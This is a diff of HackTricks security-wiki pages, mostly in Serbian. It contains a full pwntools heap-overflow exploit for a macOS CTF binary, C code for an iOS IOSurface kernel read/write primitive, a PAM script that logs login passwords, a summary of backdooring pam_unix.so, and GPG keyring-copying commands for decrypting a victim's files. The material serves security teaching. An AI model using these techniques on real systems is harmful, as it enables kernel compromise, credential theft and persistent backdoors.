# Heap overflow exploit for macOS ARM64 CTF challenge
#
# Vulnerability: Buffer overflow in heap-allocated buffer allows overwriting
# a function pointer in an adjacent heap chunk.
#
# Key insights:
# 1. macOS uses different heap zones for different allocation sizes
# 2. The NanoZone must be disabled (MallocNanoZone=0) to get predictable layout
# 3. With spacers allocated after main chunks, the distance is 560 bytes (432 padding needed)
#
from pwn import *
import re
import sys
import struct
import platform
# Detect architecture and set context accordingly
if platform.machine() == 'arm64' or platform.machine() == 'aarch64':
context.clear(arch='aarch64')
else:
context.clear(arch='amd64')
BIN = './heap_groom'
def parse_leak(line):
m = re.search(rb'win\(\) @ (0x[0-9a-fA-F]+)', line)
if not m:
log.failure("Couldn't parse leak")
sys.exit(1)
return int(m.group(1), 16)
def build_payload(win_addr, extra_pad=0):
# We want: [128 bytes padding] + [optional padding for heap metadata] + [overwrite cb pointer]
padding = b'A' * 128
if extra_pad:
padding += b'B' * extra_pad
# Add the win address to overwrite the function pointer
payload = padding + p64(win_addr)
return payload
def main():
# On macOS, we need to disable the Nano zone for adjacent allocations
import os
env = os.environ.copy()
env['MallocNanoZone'] = '0'
# The correct padding with MallocNanoZone=0 is 432 bytes
# This makes the total distance 560 bytes (128 buffer + 432 padding)
# Try the known working value first, then alternatives in case of heap variation
candidates = [
432, # 560 - 128 = 432 (correct padding with spacers and NanoZone=0)
424, # Try slightly less in case of alignment differences
440, # Try slightly more
416, # 16 bytes less
448, # 16 bytes more
0, # Direct adjacency (unlikely but worth trying)
]
log.info("Starting heap overflow exploit for macOS...")
for extra in candidates:
log.info(f"Trying extra_pad={extra} with MallocNanoZone=0")
p = process(BIN, env=env)
# Read leak line
leak_line = p.recvline()
win_addr = parse_leak(leak_line)
log.success(f"win() @ {hex(win_addr)}")
# Skip prompt lines
p.recvuntil(b"Enter payload length")
p.recvline()
# Build and send payload
payload = build_payload(win_addr, extra_pad=extra)
total_len = len(payload)
log.info(f"Sending {total_len} bytes (128 base + {extra} padding + 8 pointer)")
# Send length and payload
p.sendline(str(total_len).encode())
p.send(payload)
# Check if we overwrote the function pointer successfully
try:
output = p.recvuntil(b"Calling h->cb()", timeout=0.5)
p.recvline(timeout=0.5) # Skip the "..." part
# Check if we hit win()
response = p.recvline(timeout=0.5)
if b"win() reached" in response:
log.success(f"SUCCESS! Overwrote function pointer with extra_pad={extra}")
log.success("Shell spawned, entering interactive mode...")
p.interactive()
return
elif b"safe_cb() called" in response:
log.info(f"Failed with extra_pad={extra}, safe_cb was called")
else:
log.info(f"Failed with extra_pad={extra}, unexpected response")
except:
log.info(f"Failed with extra_pad={extra}, likely crashed")
p.close()
log.failure("All padding attempts failed. The heap layout might be different.")
log.info("Try running the exploit multiple times as heap layout can be probabilistic.")
if __name__ == '__main__':
main()
```
{{#include ../../banners/hacktricks-training.md}}

215
src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md Normal file
View File

@ -0,0 +1,215 @@
# iOS Physical Use-After-Free via IOSurface
{{#include ../../banners/hacktricks-training.md}}
## Physical use-after-free
Ovo je sažetak posta sa [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html). Pored toga, dodatne informacije o exploit-u koji koristi ovu tehniku mogu se naći u [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd).
### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
The **virtuelni adresni prostor** za korisničke procese na iOS obuhvata od **0x0 do 0x8000000000**. Međutim, ove adrese se ne preslikavaju direktno na fizičku memoriju. Umesto toga, kernel koristi **page tables** da prevede virtuelne adrese u stvarne **physical addresses**.
#### Levels of Page Tables in iOS
Page tables su organizovane hijerarhijski u tri nivoa:
1. **L1 Page Table (Level 1)**:
* Svaki unos ovde predstavlja veliki opseg virtuelne memorije.
* Pokriva **0x1000000000 bytes** (ili **256 GB**) virtuelne memorije.
2. **L2 Page Table (Level 2)**:
* Unos ovde predstavlja manji region virtuelne memorije, konkretno **0x2000000 bytes** (32 MB).
* L1 unos može pokazivati na L2 tabelu ako ne može sam da mapira ceo region.
3. **L3 Page Table (Level 3)**:
* Ovo je najfiniji nivo, gde svaki unos mapira jednu **4 KB** memorijsku stranicu.
* L2 unos može pokazivati na L3 tabelu ako je potrebna detaljnija kontrola.
#### Mapping Virtual to Physical Memory
* **Direct Mapping (Block Mapping)**:
* Neki unosi u page table direktno **mapiraju opseg virtuelnih adresa** u kontinualan opseg fizičkih adresa (kao prečica).
* **Pointer to Child Page Table**:
* Ako je potrebna finija kontrola, unos na jednom nivou (npr. L1) može pokazivati na **child page table** na sledećem nivou (npr. L2).
#### Example: Mapping a Virtual Address
Recimo da pokušate da pristupite virtuelnoj adresi **0x1000000000**:
1. **L1 Table**:
* Kernel proverava L1 page table unos koji odgovara toj virtuelnoj adresi. Ako ima **pointer to an L2 page table**, prelazi na tu L2 tabelu.
2. **L2 Table**:
* Kernel proverava L2 page table za detaljnije preslikavanje. Ako taj unos pokazuje na **L3 page table**, prelazi dalje.
3. **L3 Table**:
* Kernel traži konačni L3 unos, koji pokazuje na **fizičku adresu** stvarne memorijske stranice.
#### Example of Address Mapping
Ako upišete fizičku adresu **0x800004000** u prvi indeks L2 tabele, onda:
* Virtuelne adrese od **0x1000000000** do **0x1002000000** mapiraju se na fizičke adrese od **0x800004000** do **0x802004000**.
* Ovo je **block mapping** na L2 nivou.
Alternativno, ako L2 unos pokazuje na L3 tabelu:
* Svaka 4 KB stranica u virtuelnom adresnom opsegu **0x1000000000 -> 0x1002000000** biće mapirana pojedinačnim unosima u L3 tabeli.
### Physical use-after-free
A **physical use-after-free** (UAF) se dešava kada:
1. Proces **alokira** memoriju kao **readable and writable**.
2. **Page tables** se ažuriraju da mapiraju tu memoriju na specifičnu fizičku adresu kojoj proces može pristupiti.
3. Proces **dealocira** (oslobodi) memoriju.
4. Međutim, zbog buga, kernel **zaboravi da ukloni mapping** iz page tables, iako je odgovarajuća fizička memorija označena kao slobodna.
5. Kernel može potom **ponovo alocirati tu "slobodnu" fizičku memoriju** za druge potrebe, npr. kernel podatke.
6. Pošto mapping nije uklonjen, proces i dalje može **čitati i pisati** u tu fizičku memoriju.
To znači da proces može pristupiti **stranicama kernel memorije**, koje mogu sadržavati osetljive podatke ili strukture, potencijalno omogućavajući napadaču da **manipuliše kernel memorijom**.
### IOSurface Heap Spray
Pošto napadač ne može da kontroliše koje će konkretne kernel stranice biti dodeljene oslobođenoj memoriji, koristi tehniku zvanu **heap spray**:
1. Napadač **kreira veliki broj IOSurface objekata** u kernel memoriji.
2. Svaki IOSurface objekat sadrži **magic value** u jednom od svojih polja, što olakšava identifikaciju.
3. Oni **skeniraju oslobođene stranice** da vide da li su neki od tih IOSurface objekata završili na oslobođenoj stranici.
4. Kada nađu IOSurface objekat na oslobođenoj stranici, mogu ga iskoristiti da **čitaju i pišu kernel memoriju**.
Više informacija o ovome u [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
> [!TIP]
> Imajte na umu da iOS 16+ (A12+) uređaji uvode hardverske mitigacije (kao što su PPL ili SPTM) koje čine physical UAF tehnike znatno manje izvodljivim.
> PPL nameće stroge MMU zaštite na stranicama vezanim za code signing, entitlements i osetljive kernel podatke, tako da, čak i ako se stranica ponovo iskoristi, pisanja iz userlanda ili kompromitovanog kernel koda na PPL-zaštićene stranice bivaju blokirana.
> Secure Page Table Monitor (SPTM) proširuje PPL tako što ojačava same page table update-ove. On osigurava da čak ni privilegovani kernel kod ne može neprimetno remap-ovati oslobođene stranice ili menjati mape bez prolaska kroz sigurne provere.
> KTRR (Kernel Text Read-Only Region) zaključava kernel-ov kod kao read-only nakon boot-a. Ovo onemogućava bilo kakve runtime modifikacije kernel koda, zatvarajući značajan napadni vektor na koji se physical UAF exploit-i često oslanjaju.
> Pored toga, IOSurface alokacije su manje predvidive i teže se mapiraju u user-accessible regione, što čini trik sa “magic value scanning” mnogo manje pouzdanim. I IOSurface sada zahteva entitlements i podleže sandbox ograničenjima.
### Step-by-Step Heap Spray Process
1. **Spray IOSurface Objects**: Napadač kreira mnoge IOSurface objekte sa specijalnim identifikatorom ("magic value").
2. **Scan Freed Pages**: Proveravaju da li je bilo koji od objekata alociran na oslobođenoj stranici.
3. **Read/Write Kernel Memory**: Manipulacijom polja u IOSurface objektu, dobijaju mogućnost za **arbitrary reads and writes** u kernel memoriji. Ovo im omogućava da:
* Koriste jedno polje za **čitati bilo koju 32-bit vrednost** u kernel memoriji.
* Koriste drugo polje za **pisati 64-bit vrednosti**, ostvarujući stabilan **kernel read/write primitive**.
Generate IOSurface objects with the magic value IOSURFACE_MAGIC to later search for:
```c
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}
```
Pretražite **`IOSurface`** objekte u jednoj oslobođenoj fizičkoj stranici:
```c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
}
```
### Postizanje Kernel Read/Write with IOSurface
Nakon što preuzmemo kontrolu nad IOSurface objektom u kernel memoriji (mapiranom na oslobođenu fizičku stranicu dostupnu iz userspace-a), možemo ga koristiti za proizvoljne kernel operacije čitanja i pisanja.
**Key Fields in IOSurface**
IOSurface objekat ima dva ključna polja:
1. **Use Count Pointer**: Omogućava **32-bit read**.
2. **Indexed Timestamp Pointer**: Omogućava **64-bit write**.
Prepisivanjem ovih pokazivača preusmeravamo ih na proizvoljne adrese u kernel memoriji, čime omogućavamo mogućnosti read/write.
#### 32-Bit Kernel Read
Da izvršimo čitanje:
1. Prepišite **use count pointer** da pokazuje na ciljnu adresu umanjenu za offset od 0x14 bajta.
2. Koristite metodu `get_use_count` da pročitate vrednost na toj adresi.
```c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}
uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}
```
#### 64-bit upis u kernel
Da biste izvršili upis:
1. Prepišite **indexed timestamp pointer** na ciljnu adresu.
2. Koristite `set_indexed_timestamp` metodu da upišete 64-bit vrednost.
```c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
```
#### Exploit Flow Recap
1. **Trigger Physical Use-After-Free**: Slobodne stranice postaju dostupne za ponovnu upotrebu.
2. **Spray IOSurface Objects**: Alocirajte mnogo IOSurface objekata sa jedinstvenom "magic value" u kernel memory.
3. **Identify Accessible IOSurface**: Pronađite IOSurface na oslobođenoj stranici kojom upravljate.
4. **Abuse Use-After-Free**: Izmenite pokazivače u IOSurface objektu kako biste omogućili proizvoljno **kernel read/write** preko IOSurface metoda.
Sa ovim primitivima, exploit obezbeđuje kontrolisane **32-bit reads** i **64-bit writes** u kernel memory. Dalji koraci za jailbreak mogli bi uključivati stabilnije read/write primitive, koje mogu zahtevati zaobilaženje dodatnih zaštita (npr. PPL na novijim arm64e uređajima).
{{#include ../../banners/hacktricks-training.md}}

48
src/linux-hardening/linux-post-exploitation/README.md
View File

@ -4,7 +4,7 @@
## Sniffing Logon Passwords with PAM
Konfigurišimo PAM modul koji će beležiti svaku lozinku koju korisnik koristi za prijavu. Ako ne znate šta je PAM pogledajte:
Konfigurišimo PAM modul da zabeleži svaku lozinku koju korisnik koristi za login. Ako ne znaš šta je PAM pogledaj:
{{#ref}}
@ -13,14 +13,14 @@ pam-pluggable-authentication-modules.md
**For further details check the [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Ovo je samo rezime:
**Pregled tehnike:**
Pluggable Authentication Modules (PAM) nude fleksibilnost u upravljanju autentifikacijom na sistemima zasnovanim na Unixu. Mogu poboljšati bezbednost prilagođavanjem procesa prijave, ali takođe predstavljaju rizik ako se zloupotrebe. Ovaj rezime prikazuje tehniku za hvatanje kredencijala za prijavu koristeći PAM, zajedno sa strategijama ublažavanja.
**Technique Overview:**
Pluggable Authentication Modules (PAM) nude fleksibilnost u upravljanju autentikacijom na sistemima zasnovanim na Unixu. Mogu poboljšati bezbednost prilagođavanjem procesa prijave, ali takođe predstavljaju rizik ako se zloupotrebe. Ovaj rezime prikazuje tehniku za prikupljanje kredencijala za prijavu koristeći PAM, zajedno sa strategijama ublažavanja.
**Prikupljanje kredencijala:**
**Capturing Credentials:**
- Napravljen je bash skript pod imenom `toomanysecrets.sh` koji beleži pokušaje prijave, snimajući datum, korisničko ime (`$PAM_USER`), lozinku (preko stdin) i IP udaljenog hosta (`$PAM_RHOST`) u `/var/log/toomanysecrets.log`.
- Skript je učinjen izvršnim i integrisan u PAM konfiguraciju (`common-auth`) koristeći `pam_exec.so` modul sa opcijama da radi tiho i da izloži token autentifikacije skriptu.
- Pristup pokazuje kako kompromitovani Linux host može biti iskorišćen za diskretno beleženje kredencijala.
- Bash skripta nazvana `toomanysecrets.sh` je napravljena da loguje pokušaje prijave, beležeći datum, korisničko ime (`$PAM_USER`), lozinku (preko stdin) i IP udaljenog hosta (`$PAM_RHOST`) u `/var/log/toomanysecrets.log`.
- Skripta je učinjena izvršnom i integrisana u PAM konfiguraciju (`common-auth`) koristeći modul `pam_exec.so` sa opcijama da se pokreće tiho i da izloži token autentikacije skripti.
- Pristup demonstrira kako kompromitovani Linux host može biti iskorišćen da diskretno zabeleži kredencijale.
```bash
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
@ -32,32 +32,32 @@ sudo chmod 700 /usr/local/bin/toomanysecrets.sh
```
### Backdooring PAM
**Za više detalja pogledajte [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Ovo je samo rezime:
**For further details check the [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Ovo je samo sažetak:
Pluggable Authentication Module (PAM) je sistem koji se koristi na Linuxu za autentifikaciju korisnika. Radi na tri glavna koncepta: **username**, **password**, i **service**. Konfiguracioni fajlovi za svaki service se nalaze u direktorijumu `/etc/pam.d/`, gde deljene biblioteke obrađuju autentifikaciju.
The Pluggable Authentication Module (PAM) je sistem koji se koristi na Linuxu za autentifikaciju korisnika. Radi na tri glavna koncepta: **korisničko ime**, **lozinka**, i **servis**. Konfiguracioni fajlovi za svaki servis se nalaze u `/etc/pam.d/` direktorijumu, gde shared libraries upravljaju autentifikacijom.
**Cilj**: Izmeniti PAM tako da dozvoli autentifikaciju sa specifičnom lozinkom, zaobilaženjem stvarne korisničke lozinke. Ovo je posebno fokusirano na deljenu biblioteku `pam_unix.so` koja se koristi od strane fajla `common-auth`, koji je uključen u skoro sve servise za verifikaciju lozinke.
**Cilj**: Izmeniti PAM da dozvoli autentifikaciju pomoću specifične lozinke, zaobilaženjem prave korisničke lozinke. Poseban fokus je na `pam_unix.so` shared library koja se koristi u `common-auth` fajlu, koji je uključen u skoro sve servise za verifikaciju lozinke.
### Koraci za modifikaciju `pam_unix.so`:
### Steps for Modifying `pam_unix.so`:
1. **Pronađite direktivu za autentifikaciju** u fajlu `common-auth`:
- Linija odgovorna za proveru korisničkog password-a poziva `pam_unix.so`.
2. **Izmenite izvorni kod**:
- Dodajte uslovnu izjavu u izvorni fajl `pam_unix_auth.c` koja daje pristup ako se koristi unapred definisan password, u suprotnom nastavlja sa uobičajenim procesom autentifikacije.
3. **Rekompajlirajte i zamenite** izmenjenu biblioteku `pam_unix.so` u odgovarajućem direktorijumu.
4. **Testiranje**:
- Pristup je dodeljen na različitim servisima (login, ssh, sudo, su, screensaver) sa unapred definisanim password-om, dok uobičajeni procesi autentifikacije ostaju nepromenjeni.
1. **Pronađite direktivu za autentifikaciju** u `common-auth` fajlu:
- Linija odgovorna za proveru korisničke lozinke poziva `pam_unix.so`.
2. **Izmenite source code**:
- Dodajte uslovnu naredbu u `pam_unix_auth.c` source fajl koja dodeljuje pristup ako se koristi unapred definisana lozinka, u suprotnom se nastavlja uobičajeni proces autentifikacije.
3. **Rekompajlirajte i zamenite** modifikovanu `pam_unix.so` biblioteku u odgovarajućem direktorijumu.
4. **Testing**:
- Pristup je omogućen preko različitih servisa (login, ssh, sudo, su, screensaver) koristeći unapred definisanu lozinku, dok normalni procesi autentifikacije ostaju nepromenjeni.
> [!TIP]
> You can automate this process with [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
> Možete automatizovati ovaj proces pomoću [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
## Dešifrovanje GPG loot putem relokacije homedir
## Decrypting GPG loot via homedir relocation
Ako pronađete enkriptovani `.gpg` fajl i korisnikov `~/.gnupg` folder (pubring, private-keys, trustdb), ali ne možete dešifrovati zbog permisija/zaključavanja GnuPG homedir-a, kopirajte keyring u lokaciju u koju se može pisati i koristite ga kao svoj GPG home.
Ako nađete enkriptovani `.gpg` fajl i korisnikov `~/.gnupg` folder (pubring, private-keys, trustdb) ali ne možete dekriptovati zbog dozvola/lock-ova GnuPG homedir-a, kopirajte keyring na lokaciju u kojoj imate upis i koristite ga kao svoj GPG home.
Tipične greške koje ćete videti bez ovoga: "unsafe ownership on homedir", "failed to create temporary file", ili "decryption failed: No secret key" (jer GPG ne može da čita/piše originalni homedir).
Tipične greške koje ćete videti bez ovoga: "unsafe ownership on homedir", "failed to create temporary file", ili "decryption failed: No secret key" (jer GPG ne može čitati/pisati originalni homedir).
Tok rada:
Workflow:
```bash
# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
@ -70,7 +70,7 @@ GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
```
Ako je materijal tajnog ključa prisutan u `private-keys-v1.d`, GPG će otključati i dešifrovati bez traženja passphrase-a (ili će tražiti ako je ključ zaštićen).
Ako je tajni ključni materijal prisutan u `private-keys-v1.d`, GPG će otključati i dešifrovati bez traženja passphrase-a (ili će tražiti ako je ključ zaštićen).
## References

597
src/linux-hardening/privilege-escalation/README.md
View File

File diff suppressed because it is too large Load Diff

486
src/mobile-pentesting/android-app-pentesting/README.md
View File

@ -4,7 +4,7 @@
## Osnove Android aplikacija
Preporučuje se da počnete sa čitanjem ove stranice kako biste saznali o **najvažnijim delovima vezanim za Android bezbednost i najopasnijim komponentama u Android aplikaciji**:
Toplo se preporučuje da počnete sa čitanjem ove stranice kako biste se upoznali sa **najvažnijim delovima vezanim za Android bezbednost i najopasnijim komponentama u Android aplikaciji**:
{{#ref}}
@ -14,14 +14,14 @@ android-applications-basics.md
## ADB (Android Debug Bridge)
Ovo je glavni alat koji vam je potreban da se povežete sa Android uređajem (emuliranim ili fizičkim).\
**ADB** omogućava kontrolu uređaja bilo preko **USB** ili **Network** sa računara. Ovaj alat omogućava **kopiranje** fajlova u oba smera, **instalaciju** i **deinstalaciju** aplikacija, **izvršavanje** shell komandi, **pravljenje rezervnih kopija** podataka, **čitanje** logova, između ostalih funkcija.
**ADB** omogućava upravljanje uređajima preko **USB** ili **mreže** sa računara. Ovaj alat omogućava **kopiranje** fajlova u oba smera, **instalaciju** i **deinstalaciju** aplikacija, **izvođenje** shell komandi, **pravljenje rezervnih kopija** podataka, **čitanje** logova, među ostalim funkcijama.
Pogledajte sledeću listu [**ADB Commands**](adb-commands.md) da naučite kako da koristite adb.
## Smali
Ponekad je zanimljivo da **izmenite kod aplikacije** da biste pristupili **skrivenim informacijama** (možda dobro obfuskovanim lozinkama ili flags). Zato može biti korisno decompile-ovati APK, izmeniti kod i ponovo ga recompile-ovati.\
[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Ovo može biti veoma korisno kao **alternativa za nekoliko testova tokom dinamičke analize** koji će biti predstavljeni. Zato, **uvek imajte na umu ovu mogućnost**.
Ponekad je korisno **izmeniti kod aplikacije** da bi se pristupilo **skrivenim informacijama** (možda dobro obfuskovanim lozinkama ili flagovima). U tom slučaju može biti korisno dekompajlirati apk, izmeniti kod i ponovo ga kompajlirati.\
[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Ovo može biti veoma korisno kao **alternativa za nekoliko testova tokom dinamičke analize** koji će biti predstavljeni. Dakle, **uvek imajte ovu mogućnost na umu**.
## Ostali zanimljivi trikovi
@ -29,8 +29,8 @@ Ponekad je zanimljivo da **izmenite kod aplikacije** da biste pristupili **skriv
- [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md)
- [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md)
- [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md)
- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- Izdvajanje APK-a sa uređaja:
- **Preuzimanje APK-ova**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- Izvlačenje APK-a sa uređaja:
```bash
adb shell pm list packages
com.android.insecurebankv2
@ -49,7 +49,7 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk
# after merging, you will need to align and sign the apk, personally, I like to use the uberapksigner
java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
```
## Studije slučaja i ranjivosti
## Studije slučaja & Ranjivosti
{{#ref}}
@ -61,41 +61,41 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
../../linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
{{#endref}}
## Static Analysis
## Statička analiza
Pre svega, za analiziranje APK-a trebalo bi da **pogledate Java kod** koristeći dekompajler.\
Molimo, [**pročitajte ovde da biste pronašli informacije o različitim dostupnim dekompajlerima**](apk-decompilers.md).
Prvo, za analizu APK-a treba da **pogledate Java kod** koristeći decompiler.\
Molimo, [**pročitajte ovde da biste pronašli informacije o različitim dostupnim decompilerima**](apk-decompilers.md).
### Potraga za zanimljivim informacijama
### Potražite zanimljive informacije
Samo pregledom **strings** iz APK-a možete tražiti **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** i sve što je interesantno... čak i tražiti code execution **backdoors** ili authentication backdoors (hardcoded admin credentials u aplikaciji).
Samo pregledom **strings** iz APK-a možete tražiti **lozinke**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **API** keys, **encryption**, **bluetooth uuids**, **tokens** i sve što je interesantno... tražite čak i code execution **backdoors** ili authentication backdoors (hardcoded admin credentials u aplikaciji).
**Firebase**
Obratite posebnu pažnju na **firebase URLs** i proverite da li je loše konfigurisano. [Više informacija o tome šta je Firebase i kako ga eksploatisati ovde.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
Obratite posebnu pažnju na **Firebase URL-ove** i proverite da li je loše konfigurisan. [Više informacija o tome šta je Firebase i kako ga eksploatisati ovde.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
### Osnovno razumevanje aplikacije - Manifest.xml, strings.xml
Pregled datoteka aplikacije _Manifest.xml_ i _strings.xml_ može otkriti potencijalne bezbednosne ranjivosti. Ove datoteke se mogu pristupiti koristeći dekompajlere ili preimenovanjem APK ekstenzije u .zip i zatim raspakivanjem.
Pregled aplikacionih fajlova _Manifest.xml_ i **_strings.xml_** može otkriti potencijalne sigurnosne ranjivosti. Ovi fajlovi se mogu pristupiti koristeći decompile ili preimenovanjem APK fajla u .zip i njegovim raspakivanjem.
**Ranjivosti** identifikovane iz **Manifest.xml** uključuju:
- **Debuggable Applications**: Aplikacije označene kao debuggable (`debuggable="true"`) u _Manifest.xml_ predstavljaju rizik jer omogućavaju konekcije koje mogu dovesti do eksploatacije. Za više informacija o tome kako eksploatisati debuggable aplikacije, pogledajte tutorijal o pronalaženju i eksploataciji debuggable aplikacija na uređaju.
- **Backup Settings**: Atribut `android:allowBackup="false"` treba eksplicitno biti postavljen za aplikacije koje rade sa osetljivim informacijama kako bi se sprečili neovlašćeni backup-i podataka preko adb-a, posebno kada je usb debugging omogućen.
- **Network Security**: Prilagođene konfiguracije network security (`android:networkSecurityConfig="@xml/network_security_config"`) u _res/xml/_ mogu odrediti detalje bezbednosti poput certificate pins i podešavanja HTTP saobraćaja. Primer je dozvoljavanje HTTP saobraćaja za određene domene.
- **Exported Activities and Services**: Identifikacija exported activities i services u manifestu može ukazati na komponente koje se mogu zloupotrebiti. Dalja analiza tokom dynamic testing-a može otkriti kako eksploatisati ove komponente.
- **Content Providers and FileProviders**: Izloženi content providers mogu dozvoliti neovlašćen pristup ili izmenu podataka. Konfiguracija FileProviders-a takođe treba detaljno da se pregleda.
- **Broadcast Receivers and URL Schemes**: Ove komponente se mogu iskoristiti za eksploataciju, sa posebnom pažnjom na način na koji su URL schemes upravljani u pogledu input vulnerabilities.
- **SDK Versions**: Atributi `minSdkVersion`, `targetSDKVersion` i `maxSdkVersion` ukazuju na podržane Android verzije, naglašavajući važnost nepodržavanja zastarelih, ranjivih Android verzija iz bezbednosnih razloga.
- **Debuggable Applications**: Aplikacije postavljene kao debuggable (`debuggable="true"`) u _Manifest.xml_ predstavljaju rizik jer omogućavaju konekcije koje mogu dovesti do eksploatacije. Za dalje razumevanje kako eksploatisati debuggable aplikacije, pogledajte tutorijal o pronalaženju i eksploataciji debuggable aplikacija na uređaju.
- **Backup Settings**: Atribut `android:allowBackup="false"` treba eksplicitno postaviti za aplikacije koje rade sa osetljivim informacijama kako bi se sprečilo neautorizovano pravljenje backup-a preko adb-a, naročito kada je usb debugging omogućен.
- **Network Security**: Custom network security konfiguracije (`android:networkSecurityConfig="@xml/network_security_config"`) u _res/xml/_ mogu specificirati detalje kao što su certificate pins i HTTP podešavanja. Primer je dozvoljavanje HTTP saobraćaja za specifične domene.
- **Exported Activities and Services**: Identifikacija exported activities i services u manifestu može ukazati na komponente koje bi mogle biti zloupotrebljene. Dalja analiza tokom dinamičkog testiranja može otkriti kako eksploatisati ove komponente.
- **Content Providers and FileProviders**: Izloženi content provider-i mogu dozvoliti neautorizovan pristup ili modifikaciju podataka. Konfiguracija FileProviders takođe zahteva pažljivo ispitivanje.
- **Broadcast Receivers and URL Schemes**: Ove komponente se mogu iskoristiti za eksploataciju, sa posebnom pažnjom na to kako su URL schemes obrađeni zbog mogućih input ranjivosti.
- **SDK Versions**: Atributi `minSdkVersion`, `targetSDKVersion`, i `maxSdkVersion` ukazuju na podržane Android verzije, naglašavajući važnost ne podržavanja zastarelih, ranjivih Android verzija iz bezbednosnih razloga.
Iz datoteke **strings.xml** mogu se otkriti osetljive informacije poput API keys, custom schemas i drugih developer napomena, što naglašava potrebu za pažljivim pregledom tih resursa.
Iz **strings.xml** fajla mogu se otkriti osetljive informacije kao što su API ključevi, custom schemas i druge beleške developera, što naglašava potrebu za pažljivim pregledom ovih resursa.
### Tapjacking
